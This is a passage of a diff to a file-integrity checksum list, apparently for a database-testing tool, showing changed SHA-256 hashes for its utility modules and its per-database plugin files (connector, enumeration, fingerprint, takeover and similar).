+828940a8eefda29c9eb271c21f29e2c4d1d428ccf0dcc6380e7ee6740300ec55 lib/utils/crawler.py +bfb4ea118e881d60c42552d883940ca5cca4e2a406686a2836e0739ed863a6a4 lib/utils/deps.py +3aca7632d53ab2569ddef876a1b90f244640a53e19b304c77745f8ddb15e6437 lib/utils/getch.py +e67aa754b7eeb6ec233c27f7d515e10b6607448056a1daba577936d765551636 lib/utils/har.py +00135cf61f1cfe79d7be14c526f84a841ad22e736db04e4fe087baeb4c22dc0d lib/utils/hashdb.py +acf5b98e409f1d1de8f104b994f97b7ad57768e5651898aa6754102563a25809 lib/utils/hash.py +ba862f0c96b1d39797fb21974599e09690d312b17a85e6639bee9d1db510f543 lib/utils/httpd.py +4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/utils/__init__.py +f1d84b1b99ce64c1ccb64aaa35f5231cf094b3dac739f29f76843f23ee10b990 lib/utils/pivotdumptable.py +d0643f8fa5ea2991cda35817154f692f1948910e4506cb56827d87bc0b5540b7 lib/utils/progress.py +e0bf9d7c069bc6b1ba45e1ddeb1eb94dac14676a1474a05c9af4dcbd9e89cc74 lib/utils/purge.py +51be814d061dcaf32a98fb87c678bb84682b02b322d1e781ab643b55f74a6fc8 lib/utils/safe2bin.py +c0e6e33d2aa115e7ab2459e099cbaeb282065ea158943efc2ff69ba771f03210 lib/utils/search.py 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py -fa45c4ce21c22eb62c0af72043333acc0829e03fe493ea541f0d5ef7c897106b lib/utils/sqlalchemy.py -bbdd6baaf35af44c54814867cbc39c20a1f439825a5187e1b57a6de403827c5b lib/utils/timeout.py -c91f58935cdcc92ddb19d39cbb2682f0c27f7afca03f54bc3339ab79b6ce009f lib/utils/versioncheck.py -6db999394de705f14455afd6bcb8d3e002617b3c05ef5f8460016321944322ec lib/utils/xrange.py +61dfd44fb0a5a308ba225092cb2768491ea2393999683545b7a9c4f190001ab8 lib/utils/sqlalchemy.py +6f5f4b921f8cfe625e4656ee4560bc7d699d1aebf6225e9a8f5cf969d0fa7896 lib/utils/timeout.py +04f8a2419681876d507b66553797701f1f7a56b71b5221fa317ed56b789dedb3 lib/utils/versioncheck.py +bd4975ff9cbc0745d341e6c884e6a11b07b0a414105cc899e950686d2c1f88ba lib/utils/xrange.py 33049ba7ddaea4a8a83346b3be29d5afce52bbe0b9d8640072d45cadc0e6d4bb LICENSE -d370bc084f3a2e0530376535fb8008aae3bf15347265810cc8e9385875ba1f3e plugins/dbms/access/connector.py -cb5af76dace2a68873f74116e3c2f2c9d6ec8110a407d42a184fa95a5613794b plugins/dbms/access/enumeration.py -4e2696cff684223dffbd0e82526f37cd888d5e37e431c83032cb9b9e7ed79bf7 plugins/dbms/access/filesystem.py -0aefa72d06a02339a01112dd7dd518feb37c3ec7ced8b2753957457b41c43dda plugins/dbms/access/fingerprint.py -86fbc71bdfb1bf45945b6d6d29ce2d88bf7533c815e4bba547c668a548b7b070 plugins/dbms/access/__init__.py -1214499071805a21fa331a84bdf4d6e62f146d941a0ff7a1d2ec51938c7e3da1 plugins/dbms/access/syntax.py -64354bc61198a9a20623ca175aea982aec996e0a7d0ac886e4017b58d445478a plugins/dbms/access/takeover.py -3b68a22e397eca290a7edbb3d6555b37d59784f178f9f1ec68ab6b12f60604f2 plugins/dbms/altibase/connector.py -235451aee017177d209c6d86b773118c619d089a9652007a1294b90f824e8454 plugins/dbms/altibase/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/altibase/filesystem.py -987b05c3586db8238251583501a21993994d92136d7f253a3032ae414cadb1c4 plugins/dbms/altibase/fingerprint.py -c38dfe9b4c5c378ac860b5fd19aeb0c740506ad17644c6c0c079891a39ae7963 plugins/dbms/altibase/__init__.py -359ad9846e36787bfbb0e1df52655231c48e7b9f05e9bb4458d6449e9278081f plugins/dbms/altibase/syntax.py -4ce2958a0328272eb563828449a7a7da2932ebffb73cf8bc36d01bb0bd6c2d9c plugins/dbms/altibase/takeover.py -ae2b9e279ba6a6381e6de6bb8c9a1a58139c9a47fd9a6bbeae399ab40494fb3e plugins/dbms/cache/connector.py -5b4f71dae72e439bab52b5be12ca865b43ad6974f91a152960f80f12005bce01 plugins/dbms/cache/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/cache/filesystem.py -00cd3fa2b6d8db2d9cae4729cbeea1626171febc3d0fce49d1e9ea3a3d4b322d plugins/dbms/cache/fingerprint.py -b50a93b43b1ef8785ed8ecf7725ffb60be70a0e39c5f5aff6275afe6cbae3b74 plugins/dbms/cache/__init__.py -2d46462e009241d7f645146a1ceb87b3dac922aba3dcf765836d4fa6d4a77062 plugins/dbms/cache/syntax.py -bd65dade7645aa0531995fb44a34eb9ce241339e13d492fb1f41829c20ee6cf9 plugins/dbms/cache/takeover.py -b32a001e38d783da18fb26a2736ff83245c046bc4ced2b8eea30a4d3a43c17ff plugins/dbms/clickhouse/connector.py -c855b2813bee40f936da927d32c691a593f942ed130a6fcd8bd8ba2dd0b79023 plugins/dbms/clickhouse/enumeration.py -6a747cc03150e842ef965f0ba7b6e6af09cf402c5fcec352c4c33262a0fb6649 plugins/dbms/clickhouse/filesystem.py -35724901cd3caaedd39547bc93260bd92e79d712686e77df3b25090df3001160 plugins/dbms/clickhouse/fingerprint.py -3d11998b69329244ca28e2c855022c81a45d93c1f7125c608b296cc6cae52f90 plugins/dbms/clickhouse/__init__.py -0e10abe53ab22850c0bde5cdbc25bb8762b49acd33e516908a925ca120e99b8d plugins/dbms/clickhouse/syntax.py -97aad46616dd7de6baf95cb0a564ffe59677cacf762c21ade3a76fdf593ea144 plugins/dbms/clickhouse/takeover.py -c9a8ac9fa836cf6914272b24f434509b49294f2cb177d886622e38baa22f2f15 plugins/dbms/cratedb/connector.py -b72ed76ba5ae2aa243c4521edc6065e9e174abdc1f04d98d6c748ebe7f9089a1 plugins/dbms/cratedb/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/cratedb/filesystem.py -6167e40ba8214b6d2ec0dfce75e09411e42cd00019be6f79d1e4feadbd9ac8e7 plugins/dbms/cratedb/fingerprint.py -ffdb1bc63b19e83621ba283c3ad1a5cdcbfe8ce531d896c0399a7299ac96dd1e plugins/dbms/cratedb/__init__.py -642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/cratedb/syntax.py -c9ad859ab80abc53be9a39f8872beaa373e272dbdb91ec364ac90aabb0c33e6c plugins/dbms/cratedb/takeover.py -a0fd0084f2b66451a4e5319479e481475d834ab5afee5fab4482ad422c82c05e plugins/dbms/cubrid/connector.py -8a8fc2dd8f225ba537b6c29613e50cfe737eea94aeb4c75a26385528dd2bfb94 plugins/dbms/cubrid/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/cubrid/filesystem.py -ff2b84a3cf82d839e5a1b25a59af398310a69197d3e514c01f5dddaf5975bd4e plugins/dbms/cubrid/fingerprint.py -75cf7331e3fc9531815d36743e91e791e762532ce8c6e0e7653b337b5c581e4e plugins/dbms/cubrid/__init__.py -1cdc563915dd58036b65df6a8c067aaa7176089c42a1b96bafdebe5c156d6d8d plugins/dbms/cubrid/syntax.py -98de1c6a28fae8d0f765551dd6d4b22f8982513c75cfef045099b620db778a4b plugins/dbms/cubrid/takeover.py -fb55dc97f9850947740a6e54cd39a1d733031eb37d5ff413a087b1e29800dc95 plugins/dbms/db2/connector.py -c815a27a9a166466f3d0c2c4c9c2d1764505c6a921708c7ee175d9b2fc7cb55f plugins/dbms/db2/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/db2/filesystem.py -6a460542cf76a8c8edf45456332a2db48b1fdc827540995ec8cd39fc01625219 plugins/dbms/db2/fingerprint.py -6ab11009b27309848daf190700e3733ee0dc3331fc6de669c79092567617fcc0 plugins/dbms/db2/__init__.py -359ad9846e36787bfbb0e1df52655231c48e7b9f05e9bb4458d6449e9278081f plugins/dbms/db2/syntax.py -0d10b24235d3633b2115843fc073badd6b875db3732bb3912b4059ee060974a8 plugins/dbms/db2/takeover.py -101b9e06daae74a6af1b267201b33247b0c5d54782151aa6989d86c3e4a20943 plugins/dbms/derby/connector.py -4cdfc36d2733793da1f50ef8816da0f53afd4d3f95a9f86455452787a5e07428 plugins/dbms/derby/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/derby/filesystem.py -6e284c28fc81872afff3be64e407ac28f9796bfda7d3f395b3b61c750d1c2f0c plugins/dbms/derby/fingerprint.py -4bc4d640730ac123d955360950c55219eabad8a8ad4a5c5a0466a9539c83259d plugins/dbms/derby/__init__.py -642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/derby/syntax.py -90e369887b4a324842c982d9b6f6db1aca56b78b1eafd5cf2e0ff85446b90c12 plugins/dbms/derby/takeover.py -6d46a4766cd8b94c921d65bab3f9ea686e0aa0399daf61aedfdfd024185ab156 plugins/dbms/extremedb/connector.py -15d814523b5a983e12cba88619043fb144109660d8ac212199b46c33eaad980b plugins/dbms/extremedb/enumeration.py -53da1fef08665e9255585e62cb9f7282832a284054f2bcacd8aafa7b82cd7da7 plugins/dbms/extremedb/filesystem.py -c714522cb2600df8f130538112875a9d4d5877783464411f50f9b1e3f41e396c plugins/dbms/extremedb/fingerprint.py -73a81cdc2b02da674e67bb21c6d93285148d0f1169070f35609bf939e23c8530 plugins/dbms/extremedb/__init__.py -642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/extremedb/syntax.py -d14abf6a89963a097af9db35fbdad0fd5d366a2865de31cf75fc5d82407f10cf plugins/dbms/extremedb/takeover.py -155466d1fde52d80f2ecfd37424b58aef76b6503474738ce39b2edce2101ac15 plugins/dbms/firebird/connector.py -5073015d2919981f685b7fddd78b798a7d65b60ee240f2475b0d0f2b31061a03 plugins/dbms/firebird/enumeration.py -2201415625a450901c26616d296bb80316aff949fb17a6fdac1a36feb7014ae6 plugins/dbms/firebird/filesystem.py -975885c08608fe7972d63febb836da15920a0868bd07bb1e406b54536a3ce7d1 plugins/dbms/firebird/fingerprint.py -823082e811ca16cdfb27de33ab84f4a111cc7e7da4c77dedca211d7036fa5712 plugins/dbms/firebird/__init__.py -61650ce8668686a37d426fb35dd81e386b004785a954b0e27a9731351ceca27d plugins/dbms/firebird/syntax.py -4b17f762682c0b3f6ff7b53d60f110f1f0c2f76a5bf40b10948692fb09d375a7 plugins/dbms/firebird/takeover.py -12eb7cd449870c79a50356502754a7e4517c816cc4e475d6c2182bd0a418bb5f plugins/dbms/frontbase/connector.py -4c33edfa93fce3e93a02852099643280b69aad70792aed2a5394f4ab7e2c266b plugins/dbms/frontbase/enumeration.py -f207fbfd2c52ea6ada72326f579b16aaf6fc1fae4c25f4fa2cc545a45f2c2680 plugins/dbms/frontbase/filesystem.py -edccff1c98ae9a0aa44b6bddafed6800f10a6a2f7501c51f983ca9d491c61d39 plugins/dbms/frontbase/fingerprint.py -ac17975286d2a01f6841ad05a7ccb2332bd2c672631c70bd7f3423aa8ad1b852 plugins/dbms/frontbase/__init__.py -642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/frontbase/syntax.py -024efc3a5496ef3377d9e2a3a0b22c4c42dea6b1b5c0eff6919434a38c05b4ef plugins/dbms/frontbase/takeover.py -e4e5ec5ffc77fb6697da01a0a5469cc3373b287a3e1f4d40efe8295625e8f333 plugins/dbms/h2/connector.py -5b35fef7466bb0b99c6aa99c18b58e3005372bec99ce809cc068c72f87a950de plugins/dbms/h2/enumeration.py -f83219407b5134e9283baa1f1741d965f650cf165dbd0bad991dc1283e947572 plugins/dbms/h2/filesystem.py -294308fa97bedc3d4e6b0e09f2f23d9ccceb129e83f6f26790f433d73fc874ae plugins/dbms/h2/fingerprint.py -860696c2561a5d4c6d573c50a257e039bff77ffbc5119513d77089096b051fbc plugins/dbms/h2/__init__.py -95149998d4aa7751dfcd1653707b1f94503798f4ef719775a0fddd011742b2ba plugins/dbms/h2/syntax.py -8934c4fffc67f0080970bf007d0e2f25d6a79482cc2370673833f3cbe1f9f620 plugins/dbms/h2/takeover.py -42d3fa136a67898c1908a3882baf128d15a48cd2cfe64054fa77038096e5bc0b plugins/dbms/hsqldb/connector.py -4c65b248cb0c2477ffaa9f337af698f6abc910907ef04f2b7ddc783dcc085f7a plugins/dbms/hsqldb/enumeration.py -d2581e9e2833b4232fcfc720f6d6638ec2254931f0905f0e281a4022d430c0f0 plugins/dbms/hsqldb/filesystem.py -467eb72c43e70f34a440697ed5c9f5b78acc89d50dbb518388dbe53d22777ff3 plugins/dbms/hsqldb/fingerprint.py -d175e63fd1c896a4c02e7e2b48d818108635c3b98a64a6068e1d4c814d2ce8ce plugins/dbms/hsqldb/__init__.py -95149998d4aa7751dfcd1653707b1f94503798f4ef719775a0fddd011742b2ba plugins/dbms/hsqldb/syntax.py -0aaa588c65e730320ab501b83b489db25f3f6cf20b5917bcdb9e9304df3419cb plugins/dbms/hsqldb/takeover.py -be523cf2d55158a62a842b789cfb9e8fe2bdd39e14134d1d48b432281c4eeaa0 plugins/dbms/informix/connector.py -0fb38a5c9b72e0ebbda1a937a55399235269fd626d832dd0ab39a730f1efcfb5 plugins/dbms/informix/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/informix/filesystem.py -3fa5fd5a4157625cb56e886292bd9c7cc4a3e611ecade94272e97e3acdd4b116 plugins/dbms/informix/fingerprint.py -8bf3439844dc55e595f50ebfc5848087a1045bfd6856f8f4426206219ec8884f plugins/dbms/informix/__init__.py -9ed94a189509038c4defb74f811beefc77f78cd5cbdef5f3454caaf0ef5fa3a0 plugins/dbms/informix/syntax.py -0d10b24235d3633b2115843fc073badd6b875db3732bb3912b4059ee060974a8 plugins/dbms/informix/takeover.py -1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 plugins/dbms/__init__.py -24c87bcd39870dda3926c977f674999d52bb28cd0ed63ef471950864be56d356 plugins/dbms/maxdb/connector.py -ab62053bdea3387caba40d1aeba374f0a68eb520ca46b4426ddf0f716505cc53 plugins/dbms/maxdb/enumeration.py -e7996383ad3ac84c719ee972946db43f6c80e3059ebf4104c6d0ab92eb81312c plugins/dbms/maxdb/filesystem.py -aae7ab70aadbb76522d2a41eea4f9f0ad4347496ab1bfb2aa1a417aaddb555d4 plugins/dbms/maxdb/fingerprint.py -ad3e211209756b07a501f60920237d4b602fa3a91b26cd4d35a9ccaddb20b273 plugins/dbms/maxdb/__init__.py -642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/maxdb/syntax.py -ce921c72dae90cc4c25ef554fe5706019515019f1e288504d7d0a946a6f0a952 plugins/dbms/maxdb/takeover.py -04cbfc50a0314e02ff8e85ca99df7b81393c62d4bab33eee76e75724f170c4df plugins/dbms/mckoi/connector.py -4ff77ceccc88dded0b29603a7768ff82a499b7994241b54458207184c96d6077 plugins/dbms/mckoi/enumeration.py -625b6ed49e0c47983d805d88ddce07bff12f7aa6297ffd346a746c3a2498517c plugins/dbms/mckoi/filesystem.py -8b8f3fce45ecbd31d38235f7f84fe3291c35e25af2495fd4bdc60684000c3ffd plugins/dbms/mckoi/fingerprint.py -08fd3c1a784deabc5a0e801757055589fc13c1c45090236c06f82324a01c4972 plugins/dbms/mckoi/__init__.py -642d47444f93d9b285817e4b6299d66a0524b3c02d9be9d0000afcea4507ca21 plugins/dbms/mckoi/syntax.py -e03f0d6499492871a1e142e61b4fa0d28a103803e5cdca25d853b81b5c017e0e plugins/dbms/mckoi/takeover.py -de7846f5a61b4368d597dcfceeacc9d40b304f3dc39255a6eb9da0064d62ca8e plugins/dbms/mimersql/connector.py -725b51b86fb7d71b932fc5c28c9ee057dd009d446bbc4edd2db8871ae4a4e74e plugins/dbms/mimersql/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/mimersql/filesystem.py -4ef5f0e7906ba5b5fb2f209652f6bab167f1ca535bc106e5379d20a165ee05c0 plugins/dbms/mimersql/fingerprint.py -dfd109d97a3ce292e7dbd4c4dc3a2251e9a9d9c6bbd40150f8bbcf789daaa3f6 plugins/dbms/mimersql/__init__.py -01fd77ddad176b128ad6a3eb11f0b482b9aadaae762fd09da341b20a173f50a4 plugins/dbms/mimersql/syntax.py -761a070d40466844a2ab6fcf423d228661993b72941e332febe6b4f87a378ce3 plugins/dbms/mimersql/takeover.py -a0d1e26c32b558e30e791b404fc0b140b3d034cd87d2446a346458bcd137744c plugins/dbms/monetdb/connector.py -df95ffeab52ddb3bfbe846802d6a97d7ae4bafaade4bdef5c3127c4e24fa611e plugins/dbms/monetdb/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/monetdb/filesystem.py -33bae74354d238c45395e244076c777b6a90db726aa7740137cb0afc6b305ef3 plugins/dbms/monetdb/fingerprint.py -6c645258ca81c04ea5943950f50e31ee7c6f9290cc2292d1585ee5c796ca7cc3 plugins/dbms/monetdb/__init__.py -0e79bceb5f5eeadfb81c8637b33bb9dbc21d36b9d68535b364b9b84504fd9054 plugins/dbms/monetdb/syntax.py -8ae509f210bba745e9d909d7977c476eb6ea9c44103b1c356ebc19fc8402991e plugins/dbms/monetdb/takeover.py -e8e010d1bdc9f12df5bc3b86c0a80a80cce81a820c86a4e030bb66be8180091f plugins/dbms/mssqlserver/connector.py -32c1e51893a16b0112c0a43e8de4e57857b3c2c8952233793252ffe5dc2f59b8 plugins/dbms/mssqlserver/enumeration.py -5a3a4e9021c07bc5f79925686815c012ae411052e868430a0e6b8a108f9bbbef plugins/dbms/mssqlserver/filesystem.py -6a98adcda019eee11420606e36762146978cb8d1aecd18d14ba16bd8639f8a03 plugins/dbms/mssqlserver/fingerprint.py -639873fc2bb7152728d8657719593baa0c41cef8f8c829618ca2182d0ffe497e plugins/dbms/mssqlserver/__init__.py -955ece67bfd3c8a27e21dca8604fe5768a69db5d57e78bfc55a4793de61e5c3c plugins/dbms/mssqlserver/syntax.py -84ade82bf8a6d331536f4aeb3858307cd8fb5e4f60b2add330e8ba4aa93afe22 plugins/dbms/mssqlserver/takeover.py -36e706114f64097e185372aa97420f5267f7e1ccfc03968beda899cd6e32f226 plugins/dbms/mysql/connector.py -96126e474f7c4e5581cabccff3e924c4789c8e2dbc74463ab7503ace08a88a3a plugins/dbms/mysql/enumeration.py -4c6af0e2202a080aa94be399a3d60cab97551ac42aa2bcc95581782f3cabc0c3 plugins/dbms/mysql/filesystem.py -8f74a5eef2fc69850aec6d89bd30f1caf095c6ad2b09bec54d35c152c9090c22 plugins/dbms/mysql/fingerprint.py -34dfa460e65be6f775b1d81906c97515a435f3dbadda57f5a928f7b87cefd97d plugins/dbms/mysql/__init__.py -eb59dd2ce04fa676375166549b532e0a5b6cb4c1666b7b2b780446d615aefb07 plugins/dbms/mysql/syntax.py -05e1586c3a32ee8596adb48bec4588888883727b05a367a48adb6b86abea1188 plugins/dbms/mysql/takeover.py -057180682be97f3604e9f8e6bd160080a3ae154e45417ad71735c3a398ed4dfd plugins/dbms/oracle/connector.py -78e46d8d3635df6320cb6681b15f8cfaa6b5a99d6d2faf4a290a78e0c34b4431 plugins/dbms/oracle/enumeration.py -742ad0eb5c11920952314caaf85bb8d1e617c68b7ba6564f66bce4a8630219e7 plugins/dbms/oracle/filesystem.py -43a7237962b33272676453fe459a2c961cc01487fe1357868c6c399a444d7729 plugins/dbms/oracle/fingerprint.py -04653ad487de6927e9fcd29e8c5668da8210a02ad3d4ac89707bd1c38307c9b5 plugins/dbms/oracle/__init__.py -d5c9bba081766f14d14e2898d1a041f97961bebac3cf3e891f8942b31c28b47e plugins/dbms/oracle/syntax.py -4c83f4d043e5492b0b0ec1db677cbc61f450c8bd6f2314ee8cb4555b00bb64a6 plugins/dbms/oracle/takeover.py -c9a8ac9fa836cf6914272b24f434509b49294f2cb177d886622e38baa22f2f15 plugins/dbms/postgresql/connector.py -b086d8ff29282c688772f6672c1132c667a1051a000fc4fcd4ab1068203b0acb plugins/dbms/postgresql/enumeration.py -bb23135008e1616e0eb35719b5f49d4093cc688ad610766fca7b1d627c811dd8 plugins/dbms/postgresql/filesystem.py -7c563983fc644f8af4a5906149d033a79b0a5bc319c3b7809032270a32122038 plugins/dbms/postgresql/fingerprint.py -9912b2031d0dfa35e2f6e71ea24cec35f0129e696334b7335cd36eac39abe23a plugins/dbms/postgresql/__init__.py -1a5d2c3b9bd8b7c14e0b1e810e964f698335f779f1a8407b71366dc5e0ee963c plugins/dbms/postgresql/syntax.py -b9886913baaac83f6b47b060a4785fe75f61db8c8266b4de8ccfaf180938900a plugins/dbms/postgresql/takeover.py -aead3665a963d9bccabcb1128c41cb13e9dc762028a586612f2e8aba46c2e6a5 plugins/dbms/presto/connector.py -e1a93e0bbdc87bdd64ec6cfb68ce9eb276640397bb4147ea57ca64399b24a324 plugins/dbms/presto/enumeration.py -8a1d28b47a76b281490cb2208b391cb93c1566e3c77728d955f7a198ebc858f6 plugins/dbms/presto/filesystem.py -5fc454300c6f828889289285e0fc31e56b2cce9b67ae55621f319f700633e20b plugins/dbms/presto/fingerprint.py -0344e3df6d25051b2611aa21407019605b4dc18b788b9119fbedb26be7f7673c plugins/dbms/presto/__init__.py -359ad9846e36787bfbb0e1df52655231c48e7b9f05e9bb4458d6449e9278081f plugins/dbms/presto/syntax.py -fde7db6d782721e9b96cc05889f6cec991e042adf64a3063eb84414ba747ea55 plugins/dbms/presto/takeover.py -55e8ff3e19953a7a8c5d49c0d0bb2c257bb8f492f8a7a7642394555cd092a694 plugins/dbms/raima/connector.py -e07cf0278d173bf58759278151ce830ce8ae5f37c4d601e3f1aabb78a683733d plugins/dbms/raima/enumeration.py -2c38e416f0cf5cb4f57c333026631110ba13f427645bdebaaa677760350158e8 plugins/dbms/raima/filesystem.py -77b67ea17ef9d49281458fc4111e400e418556978ebe0eee74058528054c43af plugins/dbms/raima/fingerprint.py -87c3c905ed878224e99ef888134c8a26d7b391a91c48bd014cccb8efe8f3cdb9 plugins/dbms/raima/__init__.py -95149998d4aa7751dfcd1653707b1f94503798f4ef719775a0fddd011742b2ba plugins/dbms/raima/syntax.py -c7c0f076ed708d90500da24d62abd26754f39f60c0bf3a8c69cdb15486356545 plugins/dbms/raima/takeover.py -588a8805a2675d019a56ae9c7693dd460fae026562512e6ed963149854ac02b9 plugins/dbms/sqlite/connector.py -b55d302bbf0f6741c8da51a642d9450a457d19a548dab7b48dcff157cda5a918 plugins/dbms/sqlite/enumeration.py -fa5a2d818c69a24d37bd8d765c2e814a9115e3925114c3b1552d0e25d6079797 plugins/dbms/sqlite/filesystem.py -2e41ca8e45c1509abdd336563dcbaddecbaffcdfb627c862a2d761de8b63dec5 plugins/dbms/sqlite/fingerprint.py -41be22829026986472b7d2cfc9d555b47b689e78829a35beef3cc735c4e57988 plugins/dbms/sqlite/__init__.py -8e920c79f14ccea9ac7466b7b13af8b96d0054e8662c12e1f0490846071d8bd5 plugins/dbms/sqlite/syntax.py -1665f3d4dd15dc046a76e3f63fa162194bb914777ab6f401e61d6bc1d1203f32 plugins/dbms/sqlite/takeover.py -2fe51138dab93cbfbe1f675b5bc1d548da5722a27a9a7de9488fecd94cf4abab plugins/dbms/sybase/connector.py -cac32a72aa93a52665595575cd0cf41e13b4a9dd61d52ac761dd38c389361f64 plugins/dbms/sybase/enumeration.py -df25d742d6c7993d8e9b4dfa1ec4d553deb1f4d9cea67dc34839d87f83043687 plugins/dbms/sybase/filesystem.py -a4702c1890efae100bbe9976e911672ebe6eb36be80ab1444ae022583586c21d plugins/dbms/sybase/fingerprint.py -4d893f0e09cc9e7051bcf31e59a1bf0f766d46db37c311a23a1f6ddcaefc5bdd plugins/dbms/sybase/__init__.py -fd85b4ce154df0038fed672d6184f70b293acd20a151c361a996b4c6b490173b plugins/dbms/sybase/syntax.py -b217edf9e2e4c709072c7985dce8b60b81580f1cd500887270e8986c46a7427e plugins/dbms/sybase/takeover.py -2b5d7d5225c9e7ec6d7bd5e1a0253183f6c9a83f1278ec84f4de66f2e9a728ff plugins/dbms/vertica/connector.py -71114a697c9bbeace3a6acd7a4399542fb002ed80801d88821c7df84c3975697 plugins/dbms/vertica/enumeration.py -81ac7de755f2069f1998cb0047134cbd68e8c3380207eb2ddf38acbcf694315b plugins/dbms/vertica/filesystem.py -d0c04036a1f320a4fb0005b8101bec2dbd057e8a6a28b36a8f0857005aed07c6 plugins/dbms/vertica/fingerprint.py -f928dd14ee3404cae4ccee5e929653121e71118f3577f3a996b8543e43ae80a4 plugins/dbms/vertica/__init__.py -0e313506d5da85da783f2299db13f97c1e767b52e79fea15fea6564d331f80bf plugins/dbms/vertica/syntax.py -bbf398e06fc36930fd6ff5f92cdcb9480edcb9e255790cb7a5efbfc5b82e8e78 plugins/dbms/vertica/takeover.py -9691332bd81468af9a77f897f4639828d2f830fbb1da481cec3e194e34338361 plugins/dbms/virtuoso/connector.py -6a5fbf52552b7d1c2ac06abef75b20f8771c82348eebdc4ea4592c384199bae3 plugins/dbms/virtuoso/enumeration.py -f5a88335e9ac0565ea371f2333c233c33f7d0f7961924136fd4da05aab6180f3 plugins/dbms/virtuoso/filesystem.py -df08594bd8b9be6a7c0053f4eed5247cd30ca33d7fc9a1f9ea183d2970d1f1cd plugins/dbms/virtuoso/fingerprint.py -66b04e59cb19e2526d6c0df83af5df10f5bb6cae466e33815058324da9b3453b plugins/dbms/virtuoso/__init__.py -359ad9846e36787bfbb0e1df52655231c48e7b9f05e9bb4458d6449e9278081f plugins/dbms/virtuoso/syntax.py -b8e6f5e064116dfef1692a258d382db6c28adf63fff9790bc1216ac3251e0dea plugins/dbms/virtuoso/takeover.py -c4c0af903df68fdb55909299b6ab0efdc09e8c44769cc095264aa62f62ed61ff plugins/generic/connector.py -e93b58e292374c4f36a813b41487cab24beaad0409978df62e56a40bf169a0cd plugins/generic/custom.py -034a5796fbe9523964374b538f6b02fb7b57eefc43914e8402916edd986b45f7 plugins/generic/databases.py -a0329946e8c74c253a9aa0b1a58fa8881c6b2e607bb55562e4bd67bb70838bfd plugins/generic/entries.py -1fc8551f16b529b5baff9b4a0a286c5183b7ef9cde9fb5f7b64e303260c60d8d plugins/generic/enumeration.py -7218a180c246ce29e30a78c8e772a374ceecf3af8b81b7caaf91d221ab1f6d6d plugins/generic/filesystem.py -023f5ba1c58fffd533cb0d2b3fbe1b5de2b6bd200b46b7b1adeb4c02f24d1af9 plugins/generic/fingerprint.py -1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 plugins/generic/__init__.py -e55aaf385c5c77963d9aa6ff4aa64a5f23e7c3122b763b02a7c97a6846d8a58f plugins/generic/misc.py -9757a07e6665aba8d9ee0456d9bfb446bef54d8578532f496c51e6b1fc6913f0 plugins/generic/search.py -5a753afa0014176d3724e3070b594a561dc36d186739249067e694670efb1d00 plugins/generic/syntax.py -8f372843e22df12006cdf68eb6c9715294f9f3a4fbc44a6a3a74da4e7fcdb4a7 plugins/generic/takeover.py -b3d9d0644197ecb864e899c04ee9c7cd63891ecf2a0d3c333aad563eef735294 plugins/generic/users.py -1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 plugins/__init__.py +4533aeb5b4fefb5db485a5976102b0449cc712a82d44f9630cf86150a7b3df55 plugins/dbms/access/connector.py +acd26b5dd9dfc0fb83c650c88a02184a0f673b1698520c15cd4ce5c29a10ea5e plugins/dbms/access/enumeration.py +6ae41f03920129ada7c24658673ffb3c1ce9c4d893a310b0fcdd069782d89495 plugins/dbms/access/filesystem.py +9cf2047f6545670bc8d504bcc06a76e0d9eca2453cafd2b071d3d11baaca694e plugins/dbms/access/fingerprint.py +4ee0497890c6830113e36db873c97048f9aa157110029bb888ae59b949a4caf2 plugins/dbms/access/__init__.py +9be52ff94cdecad994f83c2b7fbeb8178d77f081928e1720d82cddb524d256c6 plugins/dbms/access/syntax.py +1e2a87087dbb9f5b9e8690c283abde4c76da3285200914009187d0a957aa33b9 plugins/dbms/access/takeover.py +4b971c05cf9d741933bfd012f090daef49843c9daa2ef2a3a8a24d07fad3f9ff plugins/dbms/altibase/connector.py +e22adea1301ab433446d0a3eb6b3a2da684100860256e80150c0b860493cc5b2 plugins/dbms/altibase/enumeration.py +15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/altibase/filesystem.py +773081f8609d955b15346f8b5d7284b440e562bac87c4a33b125bdbac4041dce plugins/dbms/altibase/fingerprint.py +27d753172d8d62fa99bbbd3927f41d1f8afda4c1060fd9f449c9d8583bf0bbc8 plugins/dbms/altibase/__init__.py +3d69cd5d416090ef9fbdcfa7e563721e1575e4bef03a4ee45e17e6bd14deb449 plugins/dbms/altibase/syntax.py +ff70187b10550630b903f59269f86ea7b74aa41c33ec1fcb62272a1adc55c1c9 plugins/dbms/altibase/takeover.py +28574b0841e99f16cc5ba684a2e72b7ceb3df70fa6ac4c2eab04239a59943516 plugins/dbms/cache/connector.py +586403dc323d4560d7f46a71c9889f91c7bb6765367654a5e9d1f12ce6eed132 plugins/dbms/cache/enumeration.py 